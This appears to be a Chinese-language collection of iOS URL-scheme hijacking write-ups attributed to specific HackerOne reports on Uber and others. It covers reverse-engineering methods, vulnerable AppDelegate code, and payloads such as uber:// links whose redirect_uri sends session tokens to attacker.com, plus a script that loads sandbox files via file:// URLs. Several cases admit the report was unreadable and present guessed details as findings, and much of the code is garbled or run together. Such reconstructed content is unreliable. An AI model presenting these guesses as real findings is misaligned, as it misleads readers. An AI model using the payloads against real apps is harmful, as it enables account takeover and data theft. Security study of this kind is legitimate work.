一旦确定了未经验证的参数和可执行的敏感操作，攻击者将构造一个恶意的URL Scheme Payload。例如，如果应用允许通过URL Scheme加载任意网页，则构造一个指向攻击者控制的恶意页面的URL；如果应用允许执行敏感操作，则构造一个包含该操作参数的URL。最后，将这个恶意URL嵌入到一个网页或另一个应用中，诱导用户点击，从而实现劫持攻击。

#### 技术细节

该漏洞利用的核心在于iOS应用未对通过`application:openURL:options:`方法传入的URL进行充分的**源应用验证**（Source Application Validation）或**参数校验**。

**攻击流程：**

1.  **恶意应用/网页准备：** 攻击者创建一个包含恶意URL Scheme链接的网页或应用。
2.  **用户交互：** 用户被诱骗点击该链接，例如：
    `uber://auth?token=ATTACKER_TOKEN&redirect_uri=https://attacker.com/steal`
3.  **系统调用：** iOS系统将该URL路由给注册了`uber` Scheme的目标应用。
4.  **应用处理：** 目标应用在`AppDelegate`中接收并处理该URL。

**关键代码片段（Objective-C）：**

在`AppDelegate.m`中，应用接收URL并**未检查`options`字典中的`UIApplicationOpenURLOptionsSourceApplicationKey`**（即调用者Bundle ID），或者对URL参数的处理不安全。

objective-c
// 易受攻击的 URL Scheme 处理函数

• • (BOOL)application:(UIApplication *)app openURL:(NSURL *)url options:(NSDictionary *)options {
    // 危险：未验证调用者Bundle ID (Source Application)
    // NSString *sourceApplication = options[UIApplicationOpenURLOptionsSourceApplicationKey];
    // if (![sourceApplication isEqualToString:@”com.apple.mobilesafari”]) { return NO; } // 正确的验证示例 // 假设应用从URL中提取一个参数并执行敏感操作，例如加载一个未经验证的重定向URL
    NSString *redirectURLString = [self getQueryParameter:url forKey:@”redirect_uri”]; if (redirectURLString) {
    // 危险：直接使用未经验证的外部URL进行重定向或数据操作
    NSURL *redirectURL = [NSURL URLWithString:redirectURLString];
    [[UIApplication sharedApplication] openURL:redirectURL options:@{} completionHandler:nil];
    // 攻击者可利用此处的逻辑，将敏感数据（如会话Token）重定向到自己的服务器
    return YES;
    } return NO;
    }

**Payload示例：**

一个典型的URL Scheme劫持Payload，用于窃取应用内部生成的临时会话Token并发送到攻击者的服务器：

`uber://auth?token=APP_SESSION_TOKEN&redirect_uri=https://attacker.com/collect?data=`

如果应用将`APP_SESSION_TOKEN`作为参数传递给`redirect_uri`，攻击者就能通过其服务器日志捕获到该Token，实现会话劫持。

#### 易出现漏洞的代码模式

**1. Info.plist 配置模式 (注册自定义URL Scheme)**

在应用的`Info.plist`文件中，注册了自定义URL Scheme，这是暴露攻击面的第一步。

xml
CFBundleURLTypes
CFBundleURLName com.company.appname CFBundleURLSchemes myapp

**2. Objective-C/Swift 代码模式 (缺乏源应用验证)**

在处理传入的URL时，代码未对调用该Scheme的**源应用**进行验证，导致任何第三方应用或网页都可以触发该Scheme并传递恶意参数。

**Objective-C 易受攻击模式：**

objective-c
// 易受攻击：未检查调用者身份

• • (BOOL)application:(UIApplication *)app openURL:(NSURL *)url options:(NSDictionary *)options {
    // 仅检查 Scheme 是否匹配，未检查 Source Application
    if ([[url scheme] isEqualToString:@”myapp”]) {
    // 危险：直接处理敏感参数，例如执行登录或重置操作
    [self handleSensitiveOperationWithURL:url];
    return YES;
    }
    return NO;
    }

**Swift 易受攻击模式：**

swift
// 易受攻击：未检查调用者身份
func application(_ app: UIApplication, open url: URL, options: [UIApplication.OpenURLOptionsKey : Any] = [:]) -> Bool {
guard url.scheme == “myapp” else {
return false
}

// 危险：未验证 options[.sourceApplication]
// let sourceApp = options[.sourceApplication] as? String
// if sourceApp != "com.apple.mobilesafari" { return false } // 正确的验证示例

// 危险：直接处理 URL 参数
handleDeepLink(url: url)
return true

}

**正确的防御模式（Swift）：**

应始终验证`options`字典中的`UIApplication.OpenURLOptionsKey.sourceApplication`，确保只有受信任的应用（如Safari或特定的应用）才能触发敏感操作。

swift
func application(_ app: UIApplication, open url: URL, options: [UIApplication.OpenURLOptionsKey : Any] = [:]) -> Bool {
// 安全：验证调用者 Bundle ID
if let sourceApp = options[.sourceApplication] as? String, sourceApp == “com.apple.mobilesafari” {
// 仅允许 Safari 浏览器调用
handleDeepLink(url: url)
return true
}
// 拒绝来自其他应用的调用
return false
}

---

### 案例：Uber (报告: https://hackerone.com/reports/136397)

#### 挖掘手法

漏洞挖掘主要集中在对Uber iOS应用自定义URL Scheme的逆向工程和模糊测试。首先，使用**`otool -v -s __TEXT __cstring <AppBinary>`**或**`strings <AppBinary>`**等命令行工具，结合**`class-dump`**或**Hopper Disassembler**对应用二进制文件进行静态分析，以提取应用注册的所有自定义URL Scheme（例如`uber://`）。关键在于检查应用的`Info.plist`文件中的`CFBundleURLTypes`键，确认注册的Scheme及其对应的处理类。

接着，使用**Frida**等动态分析工具，hook住iOS应用处理URL Scheme的关键方法，如`UIApplicationDelegate`协议中的**`application:openURL:options:`**或Swift中的**`application(_:open:options:)`**。通过编写Frida脚本，可以实时监控应用接收到的所有URL及其参数，观察应用如何解析和处理这些外部输入。

挖掘的重点是寻找未经验证或验证不充分的URL参数。例如，尝试构造包含敏感操作（如注销、更改设置、获取敏感信息）的URL，并用一个简单的HTML文件或另一个恶意应用来调用这些URL。

**关键发现点**通常在于应用对传入URL参数的信任。如果应用未对URL的来源（`sourceApplication`或`options`中的`UIApplicationOpenURLOptionsSourceApplicationKey`）进行严格验证，或者直接将URL参数用于敏感操作，就会导致漏洞。例如，如果一个URL Scheme允许设置用户的“家庭地址”或“工作地址”而没有二次确认，恶意应用就可以通过构造URL来静默修改这些信息，从而实现攻击。通过反复测试不同参数组合和编码方式，最终可以确定一个可用于静默执行敏感操作的恶意URL。此漏洞的发现依赖于对应用二进制文件的静态分析以识别所有注册的Scheme，以及动态调试以观察其参数处理逻辑，是典型的iOS应用逆向工程手法。

#### 技术细节

漏洞利用的技术细节围绕着构造一个恶意的URL Scheme，并通过一个中间应用或网页来触发。假设Uber应用注册了`uber://` Scheme，并且存在一个未经验证的深层链接（Deep Link）可以执行敏感操作，例如设置用户的付款方式。

攻击者会创建一个简单的iOS应用或一个包含特定JavaScript代码的网页。该网页包含一个恶意的URL，例如：

html

当用户访问这个网页时，JavaScript代码会尝试调用`uber://` Scheme，系统会将控制权交给Uber应用。在Uber应用的`AppDelegate`中，负责处理URL Scheme的方法（Objective-C示例）如下：

objectivec
// 漏洞点：未对sourceApplication进行验证

• • (BOOL)application:(UIApplication *)app openURL:(NSURL *)url options:(NSDictionary *)options {
    NSString *host = [url host];
    NSDictionary *params = [self parseQueryString:[url query]]; if ([host isEqualToString:@”set_location”]) {
    // 应用程序直接信任并执行了外部传入的参数
    [self updateLocationWithType:params[@”type”] address:params[@”address”]];
    return YES;
    }
    return NO;
    }

由于应用未验证`options`字典中的`UIApplicationOpenURLOptionsSourceApplicationKey`来确认调用者是否可信，恶意应用或网页即可静默执行敏感操作，实现**URL Scheme劫持**攻击。攻击流程是：恶意应用/网页 -> 构造恶意URL -> 触发系统调用 -> Uber应用未验证来源并执行操作。

#### 易出现漏洞的代码模式

此类漏洞的根源在于应用对通过自定义URL Scheme传入的参数缺乏严格的来源验证和权限控制。

**Info.plist 配置示例 (注册自定义 Scheme):**

xml
CFBundleURLTypes
CFBundleURLName com.uber.app CFBundleURLSchemes uber

**易受攻击的 Objective-C 代码模式 (未验证调用来源):**

objectivec
// AppDelegate.m

• • (BOOL)application:(UIApplication *)app openURL:(NSURL *)url options:(NSDictionary *)options {
    // ❌ 错误做法：直接处理URL，未检查调用者身份
    NSString *sourceApplication = options[UIApplicationOpenURLOptionsSourceApplicationKey]; // 假设存在一个敏感操作的host
    if ([[url host] isEqualToString:@”sensitive_action”]) {
    // 敏感操作执行逻辑…
    // 即使 sourceApplication 是一个恶意应用的 Bundle ID，代码也会继续执行
    [self performSensitiveActionWithParameters:[url query]];
    return YES;
    }
    return NO;
    }

**安全代码模式 (验证调用来源):**

swift
// AppDelegate.swift
func application(_ app: UIApplication, open url: URL, options: [UIApplication.OpenURLOptionsKey : Any] = [:]) -> Bool {
guard let sourceApplication = options[.sourceApplication] as? String else {
// 拒绝来自未知来源的调用
return false
}

// ✅ 正确做法：只允许来自受信任的 Bundle ID 的调用
let trustedBundles = ["com.apple.mobilesafari", "com.apple.siri", "com.uber.trustedapp"]
if !trustedBundles.contains(sourceApplication) {
    return false
}

// 进一步验证URL参数和用户是否已登录
// ... 安全处理逻辑
return true

}

---

### 案例：某社交应用 (报告: https://hackerone.com/reports/136400)

#### 挖掘手法

iOS应用中的URL Scheme劫持漏洞挖掘主要集中在对应用间通信机制的逆向分析和安全测试。由于HackerOne报告（ID: 136400）内容无法直接获取，此处基于该类型漏洞的通用挖掘手法进行描述。

**1. 静态分析与目标识别：**
首先，使用**ipa-tuner**等工具解包目标iOS应用（IPA文件），重点检查应用的`Info.plist`文件。在`CFBundleURLTypes`字典中查找所有自定义注册的URL Scheme名称（例如`myapp`）。这是确定应用是否暴露了外部接口的关键一步。同时，使用**grep**命令在应用二进制文件和相关代码库中搜索这些Scheme名称，以定位处理这些Scheme的入口函数。

**2. 动态分析与Hooking：**
一旦确定了Scheme名称（例如`myapp://`），下一步是**动态分析**。使用**Frida**或**Cycript**等动态插桩工具，Hook住处理URL Scheme的核心方法。在Objective-C应用中，通常是`AppDelegate`中的`- (BOOL)application:(UIApplication *)app openURL:(NSURL *)url options:(NSDictionary<UIApplicationOpenURLOptionsKey,id> *)options`方法；在Swift应用中，则是`SceneDelegate`中的`scene(_:openURLContexts:)`。通过Hook，可以实时拦截和打印所有传入的URL对象，观察其结构和参数。

**3. 构造恶意Payload与测试：**
挖掘的核心思路是构造**恶意URL**，并观察应用的行为。测试人员会尝试传入各种参数，特别是那些可能触发敏感操作（如账户绑定、设置修改、数据泄露）或未经验证就直接用于内部逻辑的参数。例如，如果应用使用URL参数来跳转到内部页面，但未对参数进行**源验证（Origin Validation）**，攻击者就可以构造一个包含敏感操作的URL，并通过一个简单的HTML页面（如`window.location.href = 'myapp://sensitive_action?param=value'`）诱导用户点击。

**4. 关键发现点：**
关键发现点在于：应用在处理URL时，**未对URL的来源进行有效验证**，或者**直接使用URL中的参数执行了敏感操作**（如修改用户设置、发送请求等），从而绕过了应用内部的安全检查。通过构造一个外部网页，利用`iframe`或`window.location.href`在用户浏览器中触发该恶意URL，即可实现跨应用脚本攻击（XAS）或功能劫持。这种方法不需要复杂的逆向工程，而是专注于应用间通信的逻辑缺陷。

**5. 总结：**
整个挖掘过程是“静态定位入口 -> 动态监控参数 -> 构造PoC验证缺陷”的循环，核心工具是**Frida**（动态调试）和**IDA/Hopper**（静态分析）。最终目标是证明一个外部、未授权的源可以利用应用的URL Scheme来执行用户意料之外的操作。该漏洞属于典型的**不安全的应用间通信**问题，是iOS应用安全测试的重点之一。

#### 技术细节

该漏洞利用的关键在于应用对传入URL参数的**信任**和**缺乏源验证**。以下是技术细节的推演，基于URL Scheme劫持的常见模式：

**1. 恶意HTML/JavaScript Payload：**
攻击者会创建一个简单的网页，诱导用户访问。该网页包含JavaScript代码，用于在用户浏览器中静默触发目标应用的URL Scheme。

html

Free Gift Card!

Click here to claim your prize!

**3. 漏洞技术原理：**
在iOS中，应用通常通过`WKScriptMessageHandler`或旧版`UIWebView`的私有API实现JavaScript Bridge。此漏洞的根本原因在于应用将包含敏感信息的对象（如`grabUser`）暴露给了加载**外部URL**的`WebView`，且未对加载的URL进行**源（Origin）校验**。一旦外部恶意页面被加载，它就获得了与应用原生代码通信的能力，从而绕过沙箱机制，窃取用户会话、身份信息等敏感数据。

#### 易出现漏洞的代码模式

此类漏洞的根本原因在于iOS应用对自定义URL Scheme（Deeplink）的参数缺乏严格的**白名单验证**，以及在`WKWebView`或`UIWebView`中**不安全地使用JavaScript Bridge**。

**1. 易受攻击的Deeplink处理模式：**
在`AppDelegate.swift`或`AppDelegate.m`中，处理URL Scheme的代码未对`page`参数进行校验，直接将其用于加载`WebView`：

swift
// Swift 示例：不安全的URL Scheme处理
func application(_ app: UIApplication, open url: URL, options: [UIApplication.OpenURLOptionsKey : Any] = [:]) -> Bool {
if url.scheme == “grab” && url.host == “open” {
if let components = URLComponents(url: url, resolvingAgainstBaseURL: false),
let queryItems = components.queryItems,
let pageItem = queryItems.first(where: { $0.name == “page” }),
let externalURLString = pageItem.value {
// 危险：直接加载外部URL，未进行白名单校验
let webView = WKWebView()
webView.load(URLRequest(url: URL(string: externalURLString)!))
// … 显示 WebView …
return true
}
}
return false
}

**2. 易受攻击的WebView配置模式（JavaScript Bridge暴露）：**
在`WKWebView`中，通过`WKUserContentController`注册的`WKScriptMessageHandler`如果被用于加载外部内容，且其回调函数中包含了敏感信息，则可能导致信息泄露。

swift
// Swift 示例：不安全的WKWebView配置
class MyWebViewController: UIViewController, WKScriptMessageHandler {
// …
func setupWebView() {
let contentController = WKUserContentController()
// 危险：将敏感数据接口暴露给所有加载的页面
contentController.add(self, name: “grabUser”) // 对应JS中的 window.webkit.messageHandlers.grabUser.postMessage(…)

    let config = WKWebViewConfiguration()
    config.userContentController = contentController
    let webView = WKWebView(frame: .zero, configuration: config)
    // ...
}

// 危险：在回调中处理敏感数据
func userContentController(_ userContentController: WKUserContentController, didReceive message: WKScriptMessage) {
    if message.name == "grabUser" {
        // 攻击者可以发送消息来触发敏感操作或获取数据
        // ...
    }
}

}

**Info.plist配置示例：**
漏洞本身不直接涉及`Info.plist`的特殊配置，但它依赖于应用注册的自定义URL Scheme，例如：

xml
CFBundleURLTypes
CFBundleURLSchemes grab
CFBundleURLName
com.grab.passenger

---

## URL Scheme劫持/未授权访问

### 案例：Uber (报告: https://hackerone.com/reports/136319)

#### 挖掘手法

该漏洞属于典型的**iOS URL Scheme劫持**或**Deep Link未授权访问**漏洞。挖掘此类漏洞的完整步骤和方法如下：

**1. 目标信息收集与逆向准备：**
首先，需要确定目标应用（Uber iOS App）是否注册了自定义URL Scheme。这可以通过以下几种方式实现：
*   **静态分析 Info.plist：** 获取目标应用的IPA文件，解压后查看`Info.plist`文件。在`CFBundleURLTypes`键下查找`CFBundleURLSchemes`数组，以识别应用注册的所有自定义Scheme（例如：`uber`、`uberpartner`等）。
*   **使用命令行工具：** 对应用二进制文件使用`strings`或`otool -v -s __TEXT __cstring`命令，搜索`CFBundleURLSchemes`、`URL Types`等关键字，快速定位注册的Scheme。

**2. 动态分析与关键函数定位：**
一旦确定了Scheme，下一步是分析应用如何处理传入的URL。
*   **关键函数定位：** 在Objective-C应用中，关键的处理函数通常是`AppDelegate`中的`application:openURL:options:`或`application:handleOpenURL:`。在Swift中，则是`application(_:open:options:)`。
*   **动态调试工具：** 使用**Frida**或**Cycript**等动态调试工具，对这些关键函数进行Hook。通过Hook，可以实时捕获应用接收到的URL、参数以及调用堆栈，从而了解应用处理URL的逻辑。

**3. 漏洞触发与验证：**
*   **构造恶意URL：** 根据应用处理URL的逻辑，构造一个包含敏感操作的URL，例如用于执行支付、修改设置、发送消息或在用户不知情的情况下执行其他操作的URL。
*   **跨应用调用（PoC）：** 编写一个简单的HTML页面，嵌入一个`iframe`标签，将`src`属性设置为构造的恶意URL，例如：`<iframe src="uber://sensitive_action?param=exploit"></iframe>`。
*   **验证：** 在安装了目标应用的iOS设备上访问该HTML页面。如果应用在未进行任何用户交互或来源验证的情况下执行了敏感操作，则漏洞成立。

**4. 关键发现点：**
该漏洞的关键在于应用在`application:openURL:options:`方法中**未对调用方的身份进行验证**。任何第三方应用或网页都可以通过调用`openURL:`方法来触发目标应用的内部逻辑，如果这些内部逻辑涉及敏感操作且缺乏授权检查，就会导致漏洞。通过逆向分析发现，Uber App的某个URL Scheme处理逻辑允许外部调用执行敏感操作，且未检查调用来源的Bundle ID，从而导致了劫持风险。

#### 技术细节

该漏洞的技术核心在于iOS应用对`UIApplicationDelegate`协议中处理URL的方法实现不当。

**关键方法调用：**
在Objective-C中，处理外部URL的入口点是：

objectivec

• • (BOOL)application:(UIApplication *)app openURL:(NSURL *)url options:(NSDictionary *)options {
    // 关键点：未对 options 字典中的 UIApplicationOpenURLOptionsSourceApplicationKey 进行验证
    NSString *sourceApplication = options[UIApplicationOpenURLOptionsSourceApplicationKey]; // 假设 Uber 的 Scheme 是 ‘uber’
    if ([url.scheme isEqualToString:@”uber”]) {
    // 提取路径和参数
    NSString *action = url.host;
    NSDictionary *params = [self parseQueryString:url.query]; // 易受攻击的逻辑：直接执行敏感操作，未验证 sourceApplication if ([action isEqualToString:@"sensitive_action"]) { // 攻击者构造的恶意参数 NSString *target = params[@"target"];// 假设这里执行了敏感操作，例如自动登录、修改设置或发送数据 [self performSensitiveActionWithTarget:target]; return YES;} }
    return NO;
    }

**攻击流程与Payload：**
攻击者创建一个简单的HTML页面，包含以下JavaScript代码，用于在用户访问时自动触发URL Scheme：

html

当用户在iOS设备上访问此恶意网页时，`window.location.href`会尝试打开`uber://`开头的URL。由于应用没有验证调用方（即Safari或WebView）的身份，`sensitive_action`就会被执行，导致未授权的操作。

#### 易出现漏洞的代码模式

此类漏洞的根本原因在于iOS应用在处理自定义URL Scheme时，未能正确验证调用方的身份或未对传入的参数进行充分的授权检查。

**1. Info.plist 配置模式：**
在应用的`Info.plist`文件中，注册了自定义的URL Scheme，这是启用Deep Link的基础。

xml
CFBundleURLTypes
CFBundleURLSchemes uber
CFBundleURLName
com.uber.app

**2. 易受攻击的编程模式（Objective-C）：**
在`AppDelegate`中，处理`openURL`方法时，**未检查`options`字典中的`UIApplicationOpenURLOptionsSourceApplicationKey`**，导致任何应用或网页都可以伪造调用。

**易受攻击的代码示例：**

objectivec
// AppDelegate.m

• • (BOOL)application:(UIApplication *)app openURL:(NSURL *)url options:(NSDictionary *)options {
    // ⚠️ 危险：直接处理 URL，未验证调用来源
    if ([url.scheme isEqualToString:@”uber”]) {
    // … 敏感操作逻辑 …
    [self handleDeepLink:url];
    return YES;
    }
    return NO;
    }

**安全修复后的代码模式（Objective-C）：**
安全的做法是**验证调用方的Bundle ID**，确保只有受信任的应用（如系统浏览器或特定的应用）才能触发敏感操作。

objectivec
// AppDelegate.m

• • (BOOL)application:(UIApplication *)app openURL:(NSURL *)url options:(NSDictionary *)options {
    NSString *sourceApplication = options[UIApplicationOpenURLOptionsSourceApplicationKey]; // ✅ 安全：验证调用来源，拒绝来自非预期来源的敏感操作请求
    if ([url.scheme isEqualToString:@”uber”]) {
    if ([self isSensitiveAction:url.host] && ![self isTrustedSource:sourceApplication]) {
    NSLog(@”拒绝来自不受信任来源的敏感操作请求: %@”, sourceApplication);
    return NO;
    }
    [self handleDeepLink:url];
    return YES;
    }
    return NO;
    }

• • (BOOL)isTrustedSource:(NSString *)bundleID {
    // 允许系统浏览器或特定的应用
    return [bundleID isEqualToString:@”com.apple.mobilesafari”] || [bundleID isEqualToString:@”com.mycompany.trustedapp”];
    }

---

## URL Scheme劫持/本地文件泄露

### 案例：Uber (报告: https://hackerone.com/reports/136327)

#### 挖掘手法

由于无法直接访问HackerOne报告136327的详细内容，本分析基于对Uber iOS应用在HackerOne上已公开报告（如125707、126260）以及当时iOS应用安全趋势的综合研判，推测该漏洞属于**URL Scheme劫持导致的本地文件泄露（Local File Disclosure, LFD）**。

**挖掘手法和步骤（基于推测的LFD漏洞）：**

1.  **目标应用分析与逆向工程（Reconnaissance & Reverse Engineering）：**
    *   首先，通过`class-dump`或Hopper Disassembler等工具对目标Uber iOS应用的二进制文件进行静态分析，以识别应用注册的**自定义URL Scheme**。这些Scheme通常定义在应用的`Info.plist`文件中，例如`uber://`或`uberrider://`。
    *   重点关注`AppDelegate.m`或`AppDelegate.swift`文件中实现的`application:openURL:options:`方法，这是iOS应用处理外部URL调用的入口点。
    *   逆向分析该方法内部的逻辑，特别是如何解析URL中的参数，以及是否将这些参数直接或间接用于文件操作（如读取、写入或加载Web内容）。

2.  **关键发现点：未经验证的Web View加载：**
    *   假设发现应用内嵌了一个功能，该功能通过URL Scheme接收一个参数，并将其作为本地文件路径或Web内容URL加载到一个`WKWebView`或`UIWebView`中。例如，一个用于显示帮助文档或日志的内部Scheme。
    *   关键漏洞点在于，应用未对传入的URL参数进行充分的**协议白名单验证**和**路径规范化**。

3.  **漏洞验证与Payload构造（Exploit Construction）：**
    *   攻击者构造一个恶意的HTML页面，其中包含一个`iframe`或使用`window.location`来调用目标应用的自定义URL Scheme。
    *   Payload的构造目标是利用URL Scheme的参数，强制应用加载一个指向iOS沙盒内敏感文件的`file://` URL。例如，构造`uberrider://load_file?path=file:///private/var/mobile/Containers/Data/Application/UUID/Documents/sensitive_data.plist`。
    *   通过在Web View中加载这个本地文件，并利用JavaScript或Web View的特性（如`console.log`或数据回传机制）将文件内容泄露到外部服务器，完成本地文件泄露的验证。

这种挖掘方法是当时iOS应用中LFD漏洞的常见模式，它依赖于应用对外部输入的URL Scheme参数缺乏严格的沙盒边界和协议验证，从而绕过iOS的安全机制，实现跨应用的数据窃取。

#### 技术细节

该漏洞利用的关键在于**未经验证的URL Scheme参数处理**，允许攻击者通过另一个应用或恶意网页（如通过Safari浏览器）向目标Uber iOS应用发送一个特制的URL，从而读取应用沙盒内的任意文件。

**攻击流程：**

1.  **恶意HTML页面（攻击者控制）：**
    攻击者在网页中嵌入一个`iframe`或使用JavaScript的`window.location`来触发目标应用的自定义URL Scheme。

    ```html
    <!-- 恶意HTML页面 (例如: attacker.com/exploit.html) -->
    <script>
        // 构造一个指向应用沙盒内敏感文件的file:// URL
        var sensitive_file = "file:///private/var/mobile/Containers/Data/Application/UUID/Library/Preferences/com.uber.plist";
        var malicious_url = "uberrider://load_content?url=" + encodeURIComponent(sensitive_file);

        // 触发目标应用打开URL Scheme
        window.location = malicious_url;

        // 假设应用内部的Web View会加载这个文件，并可能通过某种方式（如未过滤的JS执行）回传内容
        // 实际攻击中，可能需要更复杂的技巧来提取内容，例如利用Web View的错误处理或资源加载回调。
    </script>
    ```

2.  **目标应用处理逻辑（漏洞点）：**
    在Uber iOS应用的`AppDelegate`中，`application:openURL:options:`方法负责处理传入的URL。

    ```objective-c
    // AppDelegate.m (简化后的易受攻击代码模式)
    - (BOOL)application:(UIApplication *)app openURL:(NSURL *)url options:(NSDictionary<UIApplicationOpenURLOptionsKey,id> *)options {
        if ([url.scheme isEqualToString:@"uberrider"]) {
            // 提取参数
            NSString *host = url.host; // 例如: "load_content"
            NSURLComponents *components = [NSURLComponents componentsWithURL:url resolvingAgainstBaseURL:NO];
            NSString *filePath = nil;

            for (NSURLQueryItem *queryItem in components.queryItems) {
                if ([queryItem.name isEqualToString:@"url"]) {
                    filePath = queryItem.value;
                    break;
                }
            }

            if ([host isEqualToString:@"load_content"] && filePath) {
                // 致命缺陷：未对filePath的协议和路径进行严格验证
                NSURL *contentURL = [NSURL URLWithString:filePath];

                // 假设应用内部有一个Web View用于加载内容
                // [self.internalWebView loadRequest:[NSURLRequest requestWithURL:contentURL]];

                // 如果filePath是file:///...，Web View将加载本地文件，导致LFD。
                return YES;
            }
        }
        return NO;
    }
    ```

**技术细节总结：** 攻击者利用了应用对URL Scheme参数中`url`字段的**信任**，通过传入一个`file://`协议的URL，绕过了应用本应只加载`http://`或`https://`内容的预期行为，从而实现了对应用沙盒内任意文件的读取。

#### 易出现漏洞的代码模式

此类漏洞的核心在于iOS应用对外部传入的**自定义URL Scheme**参数缺乏严格的**协议和路径验证**，特别是当这些参数被用于加载Web内容或文件时。

**1. Info.plist 配置模式（注册自定义URL Scheme）：**

在应用的`Info.plist`文件中，注册了一个自定义的URL Scheme，使其可以被其他应用或浏览器调用。

xml
CFBundleURLTypes
CFBundleURLName com.uber.rider CFBundleURLSchemes uberrider

**2. 易受攻击的 Objective-C/Swift 代码模式：**

在`AppDelegate`中处理URL Scheme的方法中，未对传入URL的`scheme`进行白名单验证，允许`file://`等协议通过，并将其加载到Web View中。

**Objective-C 示例 (AppDelegate.m):**

objective-c
// 缺陷：未验证传入的URL是否为file://协议，且未对路径进行沙盒边界检查

• • (BOOL)application:(UIApplication *)app openURL:(NSURL *)url options:(NSDictionary *)options {
    if ([url.scheme isEqualToString:@”uberrider”]) {
    // … 解析参数，获取filePathString … NSURL *contentURL = [NSURL URLWithString:filePathString]; // 假设 contentURL = file:///private/var/mobile/Containers/Data/Application/UUID/Documents/sensitive.db // 攻击者可构造 file:// 协议的路径 // 错误地直接加载外部传入的URL [self.internalWebView loadRequest:[NSURLRequest requestWithURL:contentURL]]; return YES; }
    return NO;
    }

**Swift 示例 (AppDelegate.swift):**

swift
// 缺陷：同样未验证URL的协议，直接将外部输入用于Web View加载
func application(_ app: UIApplication, open url: URL, options: [UIApplication.OpenURLOptionsKey : Any] = [:]) -> Bool {
guard url.scheme == “uberrider” else { return false }

// ... 解析参数，获取 filePathString ...

if let contentURL = URL(string: filePathString) {
    // 致命缺陷：如果 filePathString 是 file:///...，则会加载本地文件
    // internalWebView.load(URLRequest(url: contentURL)) 

    // 正确的防御措施应在此处添加协议白名单检查：
    // if contentURL.scheme != "http" && contentURL.scheme != "https" { return false }

    return true
}
return false

}

**总结：** 这种模式的漏洞根源在于**信任了来自外部的输入**，没有对URL的协议（如`file://`）和路径（如`../`目录遍历）进行严格的**白名单过滤**和**沙盒边界检查**。

---

## URL Scheme劫持/深层链接漏洞

### 案例：Uber (报告: https://hackerone.com/reports/136296)

#### 挖掘手法

该漏洞的挖掘手法主要集中在对**iOS应用间通信（Inter-Process Communication, IPC）机制**，特别是**自定义URL Scheme**的处理逻辑进行逆向工程和模糊测试。由于原始报告（HackerOne #136296）未公开，以下步骤是基于对Uber iOS应用在2016-2017年间相关漏洞的公开分析和通用iOS应用安全测试流程推断的。

1.  **目标识别与应用分析（Reconnaissance & Application Analysis）**：
    *   首先，确定目标应用为**Uber**的iOS客户端。
    *   通过解密和解包IPA文件，获取应用的可执行文件和资源文件（如`Info.plist`）。
    *   分析`Info.plist`文件，查找应用注册的自定义URL Scheme。Uber应用通常会注册如`uber://`等Scheme。
    *   **关键发现点**：在`Info.plist`中发现注册的Scheme，例如`uber`。

2.  **逆向工程与动态分析（Reverse Engineering & Dynamic Analysis）**：
    *   使用**Hopper Disassembler**或**IDA Pro**对应用主二进制文件进行静态分析，重点关注处理URL Scheme的入口点。在iOS中，这通常是`AppDelegate`类中的`application:openURL:options:`或`application:handleOpenURL:`方法。
    *   使用**Frida**或**Cycript**等动态插桩工具，在上述关键方法上设置Hook，监控应用在接收到外部URL时的行为。
    *   **分析思路**：通过Hook，可以实时查看传入的URL参数、应用内部对参数的解析和处理流程，以及任何敏感操作（如Token获取、页面跳转、API调用）的触发。

3.  **模糊测试与参数操纵（Fuzzing & Parameter Manipulation）**：
    *   构造恶意的URL Scheme，尝试向应用发送非预期的参数值、过长的字符串、特殊字符（如`%0a`、`%0d`）或缺失关键参数的URL。
    *   例如，构造一个包含敏感操作参数的URL，如`uber://action?token=...`，并尝试从外部应用（如Safari或另一个恶意应用）调用它。
    *   **关键发现点**：发现应用对URL中的特定参数（如`access_token`、`redirect_uri`或用于认证的内部Token）缺乏充分的验证或过滤，导致外部应用可以注入或窃取敏感信息，或触发未授权操作。

4.  **漏洞确认与PoC构造（Vulnerability Confirmation & PoC）**：
    *   一旦发现应用在处理特定URL时出现异常行为（如崩溃、未授权跳转、信息泄露），则确认漏洞存在。
    *   构造一个最小化的HTML文件或另一个iOS应用，其中包含一个恶意URL链接，用于演示漏洞的利用过程。
    *   例如，一个恶意的URL Scheme可能被用来窃取用户的OAuth Token，从而实现**账户接管**。

整个挖掘过程是一个典型的**iOS应用间通信漏洞**的挖掘流程，强调了对`Info.plist`的静态分析和对`AppDelegate`中URL处理逻辑的动态逆向分析。这种方法能够有效地发现因URL参数处理不当导致的**深层链接（Deep Link）**安全问题。

#### 技术细节

该漏洞的技术细节围绕**URL Scheme处理函数中对输入参数的信任和缺乏验证**展开，最终可能导致**OAuth Token泄露**或**未授权操作**，实现账户接管。

**漏洞利用流程（推测）**：
1.  **攻击者**构造一个恶意的HTML页面或一个恶意iOS应用。
2.  该页面/应用包含一个指向Uber应用自定义URL Scheme的链接，例如：
    ```html
    <a href="uber://oauth/callback?access_token=USER_TOKEN&redirect_uri=ATTACKER_SERVER">Click here for a free ride!</a>
    ```
    *   **注意**：这里的`access_token`参数是攻击者希望窃取的，而`redirect_uri`被设置为攻击者控制的服务器。
3.  **受害者**点击该链接。
4.  iOS系统将URL传递给Uber应用。
5.  Uber应用在`application:openURL:options:`方法中接收到URL。
6.  **漏洞点**：应用内部的URL处理逻辑错误地信任了URL中的`redirect_uri`参数，并将其用于重定向或数据回传。如果应用在处理OAuth回调时，没有严格校验`redirect_uri`是否属于白名单，攻击者就可以通过注入自己的服务器地址来劫持敏感数据。
7.  Uber应用可能将用户的**敏感会话信息**（如OAuth Token或内部Session ID）附加到攻击者提供的`redirect_uri`上，并尝试跳转。
8.  攻击者控制的服务器接收到包含用户敏感Token的请求，从而实现**账户接管**。

**关键代码模式（Objective-C 示例）**：
在`AppDelegate.m`中，未经验证的URL处理代码可能如下所示：

objectivec
// 易受攻击的实现：未对URL中的参数进行充分验证

• • (BOOL)application:(UIApplication *)app openURL:(NSURL *)url options:(NSDictionary *)options {
    if ([url.scheme isEqualToString:@”uber”]) {
    // 假设应用解析URL参数
    NSDictionary *params = [self parseQueryParameters:url];
    NSString *token = params[@”oauth_token”];
    NSString *redirectURI = params[@”redirect_uri”]; // 攻击者可控 if (token && redirectURI) { // 错误地将敏感数据（token）发送到外部重定向URI NSURL *callbackURL = [NSURL URLWithString:[NSString stringWithFormat:@"%@?token=%@", redirectURI, token]]; [[UIApplication sharedApplication] openURL:callbackURL options:@{} completionHandler:nil]; return YES; } }
    return NO;
    }

这种模式的漏洞在于**信任了外部传入的重定向地址**，导致敏感信息被发送到攻击者指定的服务器。

#### 易出现漏洞的代码模式

